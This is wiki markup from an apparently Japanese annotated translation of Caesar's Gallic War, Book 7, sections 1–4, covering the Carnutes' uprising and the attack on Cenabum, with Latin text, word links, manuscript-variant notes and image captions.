[[#54節|54節]] |
[[#55節|55節]] |
[[#56節|56節]] &lt;br /&gt;
[[#57節|57節]] |
[[#58節|58節]] |
[[#59節|59節]] |
[[#60節|60節]] |
[[#61節|61節]] |
[[#62節|62節]] &lt;br /&gt;
[[#63節|63節]] |
[[#64節|64節]] |
[[#65節|65節]] |
[[#66節|66節]] |
[[#67節|67節]] &lt;br /&gt;
[[#68節|68節]] |
[[#69節|69節]] |
[[#70節|70節]] &lt;br /&gt;
[[#71節|71節]] |
[[#72節|72節]] |
[[#73節|73節]] |
[[#74節|74節]] |
[[#75節|75節]] |
[[#76節|76節]] |
[[#77節|77節]] |
[[#78節|78節]] |
[[#79節|79節]] |
[[#80節|80節]] &lt;br /&gt;
[[#81節|81節]] |
[[#82節|82節]] |
[[#83節|83節]] |
[[#84節|84節]] |
[[#85節|85節]] |
[[#86節|86節]] |
[[#87節|87節]] |
[[#88節|88節]] &lt;br /&gt;
[[#89節|89節]] |
[[#90節|90節]] &lt;br /&gt;
[[#脚注|脚注]]&lt;br /&gt;
[[#参考リンク|参考リンク]]&lt;br /&gt;
|}
&lt;br style=&quot;clear:both;&quot; /&gt;
__notoc__

==カルヌーテース族の蜂起==
===1節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/1節]]　{{進捗|00%|2025-10-26}}&lt;/span&gt;
[[画像:Maccari-Cicero.jpg|thumb|right|250px|[[w:カティリナ弾劾演説|カティリーナ弾劾演説]]をする[[w:マルクス・トゥッリウス・キケロ|キケロー]](左中央)（チェザレ・マッカリによる19世紀のフレスコ画）。[[w:プブリウス・クロディウス・プルケル|クローディウス]]はこれを越権行為であるとして、カエサルの政敵となっていたキケローを一時的に亡命へ追い込み、ついにはキケローの友人ミローの配下によって殺害された。]]
[[画像:Pompei_Magnus_Antiquarium.jpg|thumb|right|250px|[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]の胸像。クローディウス殺害に伴う騒乱を収拾するべく、[[w:元老院|元老院]]によりポンペイウスが単独の[[w:執政官|執政官]]に選出され、首都ローマと本土イタリアを制圧した。一方、カエサルも属州で新たに徴兵して兵力を増した。元老院派はカエサルの勢力が強大になることを恐れて、カエサル自身から将兵を取り上げて召還すべきと主張したが、ポンペイウスは不和を避けて宥和を図った。]]
:　
;首都ローマの政情不安、ガッリア人領袖たちの謀計
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:quietus#Latin|Quieta]] [[wikt:en:Gallia#Latin|Gallia]], 
**[[w:ガリア|ガッリア]]が鎮定されると、
*Caesar, ut [[wikt:en:constituerat|constituerat]], 
**カエサルは、定めていたように、
*in [[wikt:en:Italia#Latin|Italiam]] ad [[wikt:en:conventus#Noun|conventus]] [[wikt:en:agendus#Latin|agendos]] [[wikt:en:proficiscitur|proficiscitur]]. 
**イタリアに、巡回裁判を行なうために出発する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ここでいうイタリアとは、カエサルの属州であった&lt;br&gt;　　　　[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]を指す。&lt;br&gt;　　　　カエサルは、巡回裁判を除けば、おもに[[w:ラヴェンナ|ラウェンナ]]に&lt;br&gt;　　　　滞在していたと考えられる。[[内乱記_第1巻#5節|『内乱記』第1巻5節]]を参照。）&lt;/span&gt;
:　
*[[wikt:en:ibi#Latin|Ibi]] [[wikt:en:cognoscit|cognoscit]] de &amp;lt;P.&amp;gt; [[wikt:en:Clodius#Latin|Clodii]] [[wikt:en:caedes#Latin|caede]], 
**そこで[[w:プブリウス・クロディウス・プルケル|プーブリウス・クローディウス]]の殺害について知って、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：クローディウスは護民官を務めた&lt;ruby&gt;&lt;rb&gt;[[w:ポプラレス|民衆派]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ポプラレス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; の政治家で、&lt;br&gt;　　　　カエサルから恩義を受けていた。&lt;br&gt;　　　　　かの弁論家[[w:マルクス・トゥッリウス・キケロ|キケロー]]やその友人ティトゥス・ミロー [[w:la:Titus_Annius_Milo|Milo]] ら&lt;br&gt;　　　　&lt;ruby&gt;&lt;rb&gt;[[w:オプティマテス|元老院派]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オプティマテス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; と激しく対立し、ミローの配下によって殺害された。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&amp;lt;P.&amp;gt; ([[wikt:en:Publius#Latin|Publii]]) 「プーブリウスの」は &amp;rho;系写本にのみ記されている。）&lt;/span&gt;
*&amp;lt;de&amp;gt; &lt;u&gt;senatus&lt;/u&gt;que &lt;u&gt;consulto&lt;/u&gt; [[wikt:en:certior#Latin|certior]] [[wikt:en:factus#Participle|factus]], ut omnes [[wikt:en:iunior#Latin|iuniores]] Italiae [[wikt:en:coniurarent|coniurarent]], 
**イタリアの全青年に&lt;small&gt;（新兵として）&lt;/small&gt;宣誓するようにとの元老院決議について知らされて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：この事態を収拾すべく元老院派の[[w:グナエウス・ポンペイウス|ポンペイウス]]が単独の執政官&lt;br&gt;　　　　（''[[w:de:Consul sine collega|consul sine collega]]''）に選任されて本土イタリアを掌握した。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&amp;lt;de&amp;gt; は現存する写本にはなく、近世以降に挿入提案されたもの。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&amp;nbsp;　[[wikt:en:senatus_consultum#Latin|senātūs cōnsultum]] ([[wikt:en:ultimus#Latin|ultimum]]) 「[[w:セナトゥス・コンスルトゥム・ウルティムム|元老院(の最終)決議]]」&lt;br&gt;　　　； dē [[wikt:en:senatus_consulto#Latin|senātūs cōnsultō]] 「元老院決議について」）&lt;/span&gt;
*&lt;u&gt;dilectum&lt;/u&gt; [[wikt:en:totus#Latin|tota]] [[wikt:en:provincia#Latin|provincia]] habere [[wikt:en:instituo#Latin|instituit]]. 
**&lt;small&gt;（カエサルは）&lt;/small&gt;属州&lt;small&gt;〔ガッリア・キサルピーナ〕&lt;/small&gt;全体での徴集をすることを決定する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:dilectus#Noun|dilectum]] は、[[wikt:en:delectus#Noun_2|delectum]] と表記している校訂版もある。）&lt;/span&gt;
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Eae res in Galliam [[wikt:en:transalpinus#Latin|Transalpinam]] celeriter [[wikt:en:perferuntur|perferuntur]]. 
**その状況は、[[w:ガリア・ナルボネンシス|ガッリア・トラーンサルピーナ]]&lt;small&gt;〔アルプスの向こう側のガッリア〕&lt;/small&gt;に速やかに報知された。
:　
*[[wikt:en:addunt|Addunt]] ipsi et [[wikt:en:adfingunt|adfingunt]] [[wikt:en:rumor#Latin|rumoribus]] [[wikt:en:Galli#Latin|Galli]], 
**[[w:ガリア人|ガッリア人]]たち自身が風評に想像して付け加えたのは、
*quod res [[wikt:en:poscere|poscere]] [[wikt:en:videbatur|videbatur]]: 
**事態が要求すると思われていたことで、
*[[wikt:en:retineri|retineri]] &lt;u&gt;urbano&lt;/u&gt; [[wikt:en:motus#Noun_2|motu]] Caesarem 
**カエサルは、都&lt;small&gt;〔[[w:ローマ|ローマ市]]〕&lt;/small&gt;の騒乱に束縛されて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:urbanus#Adjective|urbānus]] は「都市の」「都会の」と訳されるが、&lt;br&gt;　　　　とりわけ「首都[[w:ローマ|ローマ市]]の」を意味する。）&lt;/span&gt;
*neque in [[wikt:en:tantus#Latin|tantis]] [[wikt:en:dissensio#Latin|dissensionibus]] ad [[wikt:en:exercitus#Noun|exercitum]] venire posse. 
**これほどの対立においては、軍隊のもとへ来ることができない、&lt;br&gt;ということである。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Hac [[wikt:en:impulsus#Participle|impulsi]] [[wikt:en:occasio#Latin|occasione]], 
**このような好機に刺激されて、
*qui iam ante se [[wikt:en:populus#Noun|populi]] Romani [[wikt:en:imperium#Latin|imperio]] [[wikt:en:subiectus#Latin|subiectos]] [[wikt:en:dolerent|dolerent]], 
**すでに以前から自分たちがローマ国民の支配に服属させられているのを悲嘆している者たちは、
*[[wikt:en:libere#Adverb_2|liberius]] atque [[wikt:en:audacter#Latin|audacius]] de bello [[wikt:en:consilium#Latin|consilia]] [[wikt:en:inire|inire]] [[wikt:en:incipiunt|incipiunt]]. 
**より自由に、かつ、より向こう見ずに、戦争について謀議に取りかかり始める。
:　
[[画像:Brennus_mg_9724.jpg|thumb|right|250px|[[w:ブレンヌス|ブレンヌス]]の胸像。BC4世紀（[[w:紀元前387年|387年]]）に、ローマ軍を破って、ローマ市を占領した。アッコーと同じセノネース族の族長だったとされている。]]
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:indictus#Latin|Indictis]] inter se principes Galliae [[wikt:en:concilium#Latin|conciliis]] [[wikt:en:silvestris#Latin|silvestribus]] ac [[wikt:en:remotus#Latin|remotis]] locis 
**ガッリアの領袖たちは、森林や人里離れた場所での会合を互いに申し合わせて、
*[[wikt:en:queruntur|queruntur]] de [[wikt:en:Acco#Latin|Acconis]] [[wikt:en:mors#Latin|morte]]; 
**アッコーの死について嘆く。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[ガリア戦記 第6巻#44節|第6巻44節]]を参照。）&lt;/span&gt;
*&lt;u&gt;posse&lt;/u&gt; hunc [[wikt:en:casus#Latin|casum]] ad ipsos [[wikt:en:recidere#Verb_4|recidere]] [[wikt:en:demonstrant#Latin|demonstrant]]; 
**彼&lt;small&gt;〔アッコー〕&lt;/small&gt;の結末が彼ら自身へ降りかかりうることを説く。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:posse#Verb|posse]] の位置は、&lt;br&gt;　　　　&amp;alpha;系写本では hunc の前だが、&lt;br&gt;　　　　&amp;beta;系写本では hunc casum ad ipsos  recidere &lt;u&gt;posse&lt;/u&gt; demonstrant &lt;br&gt;　　　　となっている。）&lt;/span&gt;
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt;  [[wikt:en:miserantur|miserantur]] [[wikt:en:communis#Latin|communem]] Galliae [[wikt:en:fortuna#Latin|fortunam]]; 
**ガッリア共通の境遇をあわれむ。
*omnibus [[wikt:en:pollicitatio#Latin|pollicitationibus]] ac [[wikt:en:praemium#Latin|praemiis]] [[wikt:en:deposcunt|deposcunt]] 
**&lt;small&gt;（以下の者たちを）&lt;/small&gt;あらゆる約束と恩賞によって求める。
*qui [[wikt:en:bellum#Latin|belli]] &lt;u&gt;initia&lt;/u&gt; [[wikt:en:faciant|faciant]] et sui [[wikt:en:caput#Latin|capitis]] [[wikt:en:periculum#Latin|periculo]] Galliam in [[wikt:en:libertas#Latin|libertatem]] [[wikt:en:vindicent|vindicent]]. 
**戦端を開いて、自らを危険にさらしても、ガッリアを解放する者たちを。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：～ in libertatem vindicare；～を解放する）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:initia#Latin|initia]] (複数形) だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:initium#Latin|initium]] (単数形) となっている。）&lt;/span&gt;
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; In primis [[wikt:en:ratio#Latin|rationem]] esse [[wikt:en:habendus#Latin|habendam]] [[wikt:en:dicunt|dicunt]], 
**とりわけ、&lt;small&gt;（以下のような）&lt;/small&gt;方策を採るべきであると述べる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:in_primis#Latin|in primis]] は、[[wikt:en:inprimis#Adverb|
inprimis]] と表記している校訂版もある。）&lt;/span&gt;
*[[wikt:en:priusquam#Latin|prius quam]] eorum [[wikt:en:clandestinus#Latin|clandestina]] consilia [[wikt:en:efferantur|efferantur]], 
**彼らの秘密の計画が漏らされるより前に、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：反ローマの挙兵のはかりごとが漏れる前に）&lt;/span&gt;
*ut Caesar ab [[wikt:en:exercitus#Noun|exercitu]] [[wikt:en:intercludatur|intercludatur]]. 
**カエサルが軍隊から切り離されるように、と。
:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Id esse [[wikt:en:facilis#Latin|facile]], 
**それは容易なことである。
*quod neque legiones [[wikt:en:audeant|audeant]] [[wikt:en:absens#Latin|absente]] [[wikt:en:imperator#Latin|imperatore]] ex [[wikt:en:hiberna#Noun|hibernis]] [[wikt:en:egredi|egredi]], 
**というのは、[[w:ローマ軍団|諸軍団]]は将軍&lt;small&gt;〔カエサル〕&lt;/small&gt;が不在のときにあえて冬営から出て行こうとはしないし、
*neque [[wikt:en:imperator#Latin|imperator]] sine [[wikt:en:praesidium#Latin|praesidio]] ad legiones [[wikt:en:pervenire#Latin|pervenire]] [[wikt:en:possit|possit]]. 
**将軍は護衛なしに諸軍団のところへ到着することはできないのだから。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; [[wikt:en:postremo#Adverb|Postremo]] in [[wikt:en:acies#Latin|acie]] &lt;u&gt;praestare&lt;/u&gt; [[wikt:en:interfici|interfici]], 
**結局のところ、戦列において討ち死にする方がましである。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:praestare|praestare]] ～ [[wikt:en:quam#Adverb|quam]] …「…よりも～がより優る」）&lt;/span&gt;
*&lt;u&gt;quam&lt;/u&gt; non [[wikt:en:vetus#Latin|veterem]] belli [[wikt:en:gloria#Latin|gloriam]] [[wikt:en:libertas#Latin|libertatem]]&lt;nowiki&gt;que&lt;/nowiki&gt; quam a [[wikt:en:maior#Noun|maioribus]] [[wikt:en:acceperint|acceperint]], [[wikt:en:recuperare#Latin|recuperare]].
**先祖から受け継いだかつての戦争の栄誉および自由を取り戻さないことよりは。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
===2節===
[[画像:Chartres_1.jpg|thumb|right|320px|カルヌーテース族（[[w:la:Carnutes|Carnutes]]）の名を残す現在の[[w:シャルトル|シャルトル]]（[[w:en:Chartres|Chartres]]）の象徴である[[w:シャルトル大聖堂|シャルトル大聖堂]]（[[w:世界遺産|世界遺産]]）。[[ガリア戦記 第6巻#13節|第6巻13節]]⑩項で既述のように、カルヌーテース族の土地はガッリアの中心・聖地と見なされていた。ガッリアがキリスト教化されると、[[w:司教|司教座]]が置かれて、宗教的中心地となった。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/2節]]　{{進捗|00%|2025-11-05}}&lt;/span&gt;
;ガッリア諸部族の会合で、カルヌーテース族が開戦動議
:　　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His rebus [[wikt:en:agitatus#Latin|agitatis]], 
**これらの事柄が論議されて、
*[[wikt:en:profiteor#Latin|profitentur]] [[wikt:en:Carnutes#Latin|Carnutes]], 
**カルヌーテース族の者が公言したことには、
*se [[wikt:en:nullus#Determiner|nullum]] [[wikt:en:periculum#Latin|periculum]] [[wikt:en:communis#Latin|communis]] [[wikt:en:salus#Latin|salutis]] causa [[wikt:en:recusare#Latin|recusare]], 
**&lt;small&gt;（ガッリア）&lt;/small&gt;共通の安全のためにはいかなる危険をも辞さない、
*[[wikt:en:princeps#Latin|principes]]&lt;nowiki&gt;que&lt;/nowiki&gt; ex omnibus bellum [[wikt:en:facturus#Latin|facturos]] [[wikt:en:pollicentur|pollicentur]]; 
**かつ&lt;small&gt;（ガッリア方）&lt;/small&gt;総勢の先鋒として戦争を遂行するであろうと約束する。
:　　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; et, [[wikt:en:quoniam#Latin|quoniam]] in [[wikt:en:praesentia#Noun|praesentia]] [[wikt:en:obses#Latin|obsidibus]] [[wikt:en:cavere#Verb_2|cavere]] inter se non [[wikt:en:possint|possint]], 
**目下のところ、人質により互いに保証し合うことはできなかったので、
*ne res [[wikt:en:efferatur|efferatur]], 
**事が漏らされないように、
*&lt;u&gt;ut&lt;/u&gt; [[wikt:en:ius_iurandum#Latin|iure iurando]] ac [[wikt:en:fides#Latin|fide]] [[wikt:en:sanciatur|sanciatur]], [[wikt:en:petunt|petunt]], 
**誓約と信義でもって批准するように求める。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、写本ST&lt;sup&gt;c&lt;/sup&gt; では ut だが、&lt;br&gt;　　　　　　　　　写本 T&lt;sup&gt;1&lt;/sup&gt;･&amp;rho;系では at 、&lt;br&gt;　　　　　　　　　写本BMLNV･&amp;chi;系では aut となっている。）&lt;/span&gt;
*[[wikt:en:conlatus#Latin|conlatis]] [[wikt:en:militaris#Adjective|militaribus]] [[wikt:en:signum#Latin|signis]], 
**軍旗が運び集められて、
*[[wikt:en:quo#Etymology_2_2|quo]] [[wikt:en:mos#Latin|more]] eorum [[wikt:en:gravissimus#Latin|gravissima]] [[wikt:en:caerimonia#Latin|caerimonia]] [[wikt:en:continetur|continetur]], 
**それは彼らの慣習で最も荘重な&lt;ruby&gt;&lt;rb&gt;神聖儀式&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;カエリモーニア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;として保たれているのだが、
*ne [[wikt:en:factus#Latin|facto]] [[wikt:en:initium#Latin|initio]] belli ab reliquis [[wikt:en:deserantur|deserantur]]. 
**開戦したら、ほかの&lt;small&gt;（部族の）&lt;/small&gt;者たちから見放されないように、ということである。
:　&lt;!--　[[wikt:en:|　--&gt;　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Tum [[wikt:en:conlaudatus#Latin|conlaudatis]] [[wikt:en:Carnutes#Latin|Carnutibus]], 
**それから、カルヌーテース族が賞賛されて、
*[[wikt:en:datus#Participle|dato]] [[wikt:en:ius_iurandum#Latin|iure iurando]] ab omnibus, qui [[wikt:en:aderant|aderant]], 
**訪れていたすべての者たちによって誓約が交わされて、
*[[wikt:en:tempus#Latin|tempore]] eius rei [[wikt:en:constitutus#Participle|constituto]] 
**その事の時期を決定すると、
*ab [[wikt:en:concilium#Latin|concilio]] [[wikt:en:disceditur|disceditur]].
**&lt;small&gt;（ガッリアの領袖たちは）&lt;/small&gt;会合から立ち去る。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
===3節===
[[画像:Cathédrale_Sainte-Croix_d'Orléans_2008_PD_16.JPG|thumb|right|280px|ケナブム（Cenabum）すなわち現在の[[w:オルレアン|オルレアン]]の聖十字架大聖堂。ここもカルヌーテース族の[[w:オッピドゥム|城塞都市]]で、ガッリアの[[w:ドルイド|ドルイド]]たちが集まる聖地だったという。ローマの[[w:ルキウス・ドミティウス・アウレリアヌス|アウレリアヌス帝]]（Aurelianus）によって再建されたのでアウレリアヌスの都市（アウレリアヌム [[w:la:Aurelianum|Aurelianum]]）と改称され、オルレアン（Orléans）と転訛した。キリスト教化によってここにも[[w:司教|司教座]]が置かれて、布教の中心地になった。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/3節]]　{{進捗|00%|2025-11-17}}&lt;/span&gt;
;カルヌーテース族がケナブム進駐
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:ubi#Latin|Ubi]] ea dies venit, 
**その日が来ると、
*[[wikt:en:Carnutes#Latin|Carnutes]], 
**カルヌーテース族は、
*Cotuato et Conconnetodumno [[wikt:en:dux#Latin|ducibus]], [[wikt:en:desperatus#Latin|desperatis]] hominibus, 
**捨て身覚悟の連中であるコトゥアトゥスとコンコンネトドゥムヌスを指導者として、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ガリア語では、&lt;br&gt;　　　　　コトゥアトス ''[[w:fr:Cotuatos|Cotuatos]]''、&lt;br&gt;　　　　　コンコンネトドゥムノス ''[[w:fr:Conconnetodumnos|Conconnetodumnos]]''。）&lt;/span&gt;
*&lt;u&gt;Cenabum&lt;/u&gt; [[wikt:en:signum#Latin|signo]] [[wikt:en:datus#Participle|dato]] [[wikt:en:concurrunt|concurrunt]] 
**号令が発せられるとともに&lt;u&gt;ケナブム&lt;/u&gt;に襲来する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ケナブムは、現在の[[w:オルレアン|オルレアン]]。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:fr:Cenabum|Cenabum]] はケルト語風の読みで、''[[ガリア戦記/注解編/写本と校訂版#Vossius|Vossius]]'' による修正提案。&lt;br&gt;　　　　　写本では genabim, genebim, genebin などとなっている。&lt;br&gt;　　　　　⇒ [[wikt:en:Genabum#Latin|Genabum]]）&lt;/span&gt;

*[[wikt:en:civis#Latin|cives]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:Romanus#Adjective|Romanos]], qui [[wikt:en:negotiandi|negotiandi]] causa [[wikt:en:ibi#Latin|ibi]] [[wikt:en:constiterant|constiterant]], 
**そこには、商いを営むためにローマ市民たちが滞在していて、
*in his [[wikt:en:Gaius#Latin|Gaium]] [[wikt:en:Fufius#Latin|Fufium]] Citam, [[wikt:en:honestus#Latin|honestum]] [[wikt:en:eques#Latin|equitem]] [[wikt:en:Romanus#Adjective|Romanum]], 
**彼らの中には、気高いローマ人[[w:エクィテス|騎士]]ガーイウス・フーフィウス・キタがいて
*qui rei [[wikt:en:frumentarius#Latin|frumentariae]] [[wikt:en:iussus#Noun|iussu]] Caesaris [[wikt:en:praeerat|praeerat]], 
**カエサルの指図により糧秣調達を統率していたが、
*[[wikt:en:interficiunt|interficiunt]] [[wikt:en:bonum#Noun_2|bona]]&lt;nowiki&gt;que&lt;/nowiki&gt; eorum [[wikt:en:diripiunt|diripiunt]]. 
**&lt;small&gt;（カルヌーテース勢は彼らローマ市民たちを）&lt;/small&gt;殺害して、彼らの財産を略奪する。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Celeriter ad omnes Galliae [[wikt:en:civitas#Latin|civitates]] [[wikt:en:fama#Latin|fama]] [[wikt:en:perfertur|perfertur]]. 
**速やかに全ガッリア部族のもとへ、評判が報知される。
*Nam, &lt;u&gt;ubique&lt;/u&gt; [[wikt:en:maior#Latin|maior]] atque [[wikt:en:inlustrior|inlustrior]] [[wikt:en:incidit#Etymology_1|incidit]] res, 
**なぜなら、より重大でより目立った事態が起こればどこであろうが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; の大半では [[wikt:en:ubique#Latin|ubique]] だが、写本STでは [[wikt:en:ubi#Latin|ubi]] 、&lt;br&gt;　　　　　　　　　さらに [[wikt:en:ubicumque#Latin|ubicumque]] という異読もあり、&lt;br&gt;　　　　　　　　　&amp;nbsp;''[[ガリア戦記/注解編/写本と校訂版#Schneider,K.E.Chr.|Chr. Schneider]]'' は ubi quae と修正提案している。）&lt;/span&gt;
*[[wikt:en:clamor#Latin|clamore]] per [[wikt:en:ager#Latin|agros]] [[wikt:en:regio#Latin|regiones]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:significant#Latin|significant]]; 
**耕地や&lt;small&gt;（集落の）&lt;/small&gt;区域を介して、大声で呼びかける。
*&lt;u&gt;hinc&lt;/u&gt; [[wikt:en:alius#Latin|alii]] [[wikt:en:deinceps#Latin|deinceps]] [[wikt:en:excipiunt|excipiunt]] 
**ここから、別の者たちが続けて引き受けて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本の大半では [[wikt:en:hanc#Latin|hanc]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:hinc#Latin|hinc]] 「ここから」、&lt;br&gt;　　　　　　　　　写本Sでは [[wikt:en:hunc|hunc]] となっている。）&lt;/span&gt;
*et [[wikt:en:proximus#Noun|proximis]] [[wikt:en:tradunt|tradunt]]; 
**近隣の者たちへ伝える。
*ut tum [[wikt:en:accidit#Etymology_1|accidit]]. 
**そのときにも&lt;small&gt;（同様のことが）&lt;/small&gt;起こったのである。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Nam, quae &lt;u&gt;Cenabi&lt;/u&gt; [[wikt:en:oriens#Latin|oriente]] [[wikt:en:sol#Latin|sole]] gesta essent, 
**ケナブムで日が昇るときになされていたこと&lt;small&gt;〔襲撃〕&lt;/small&gt;が、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：Cenabi はケルト語風の読みで、''[[ガリア戦記/注解編/写本と校訂版#Vossius|Vossius]]'' による修正提案。&lt;br&gt;　　　　　主要写本&amp;omega; では genabi となっている。　⇒ [[wikt:en:Genabum#Latin|Genabum]]）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:gestus#Latin|gesta]] [[wikt:en:essent#Etymology_1|essent]] は [[wikt:en:gero#Latin|gerō]] の3人称･複数･過去完了･受動･接続法。）&lt;/span&gt;
*ante [[wikt:en:primus#Latin|primam]] [[wikt:en:confectus#Latin|confectam]] [[wikt:en:vigilia#Latin|vigiliam]] 
**第一夜警時の終わる前頃には
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：第一夜警時は、日の入から真夜中までの時間帯の前半「宵の口」。&lt;br&gt;　　　　　[[古代ローマの不定時法#夜警時|#夜警時]] を参照。）&lt;/span&gt;
*in finibus [[wikt:en:Arverni#Latin|Arvernorum]] audita sunt, 
**アルウェルニー族の領土において聞かれた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:auditus#Latin|audita]] [[wikt:en:sunt#Latin|sunt]] は [[wikt:en:audio#Latin|audiō]] の3人称･複数･完了･受動･直説法）&lt;/span&gt;
*[[wikt:en:qui#Latin|quod]] [[wikt:en:spatium#Latin|spatium]] est [[wikt:en:mille#Latin|milium]] [[wikt:en:passus#Etymology_2|passuum]] circiter [[wikt:en:centum#Latin|centum]] [[wikt:en:sexaginta#Latin|sexaginta]](CLX).
**約160ローママイルもの隔たりがあったのに。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ミーッレ・パッスーム、ミーリア（ローママイル）|ローママイル]]は約1.48 kmで、160マイルは約240 km）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
==ウェルキンゲトリークスとガッリア同盟軍の蜂起==
===4節===
[[画像:Vercingetorix stater CdM.jpg|thumb|right|200px|“&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;(VERCIN)GETORIXS&lt;/span&gt;”の名と横顔が刻まれた金貨。]]
[[画像:Vercingétorix_par_Millet.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の立像（フランスのアリーズ＝サント＝レーヌ &lt;small&gt;[[w:fr:Alise-Sainte-Reine|Alise-Sainte-Reine]]&lt;/small&gt;）。&lt;br&gt;近代[[w:ナショナリズム|ナショナリズム]]の高揚とともに[[w:フランス|フランス]]国民が自らを古代[[w:ガリア人|ガッリア人]]の末裔と見なすようになると（[[w:ガリア起源説|ガッリア起源説]]）、ガッリア諸部族を率いて[[w:古代ローマ|古代ローマ]]と戦った彼は「'''フランス最初の英雄'''」として祀り上げられた。[[w:フランス第二帝政|第二帝政]]期に皇帝[[w:ナポレオン3世|ナポレオン3世]]の命により[[w:アレシアの戦い|アレスィア古戦場]]の発掘調査が実施され、[[w:1865年|1865年]]にはその地に彫刻家エメ・ミレ（[[w:fr:Aimé Millet|Aimé Millet]]）による高さ7メートルの銅像が建立された。&lt;br&gt;（[[w:fr:Vercingétorix_(statue_d'Aimé_Millet)|fr:La statue de Vercingétorix]]）]]
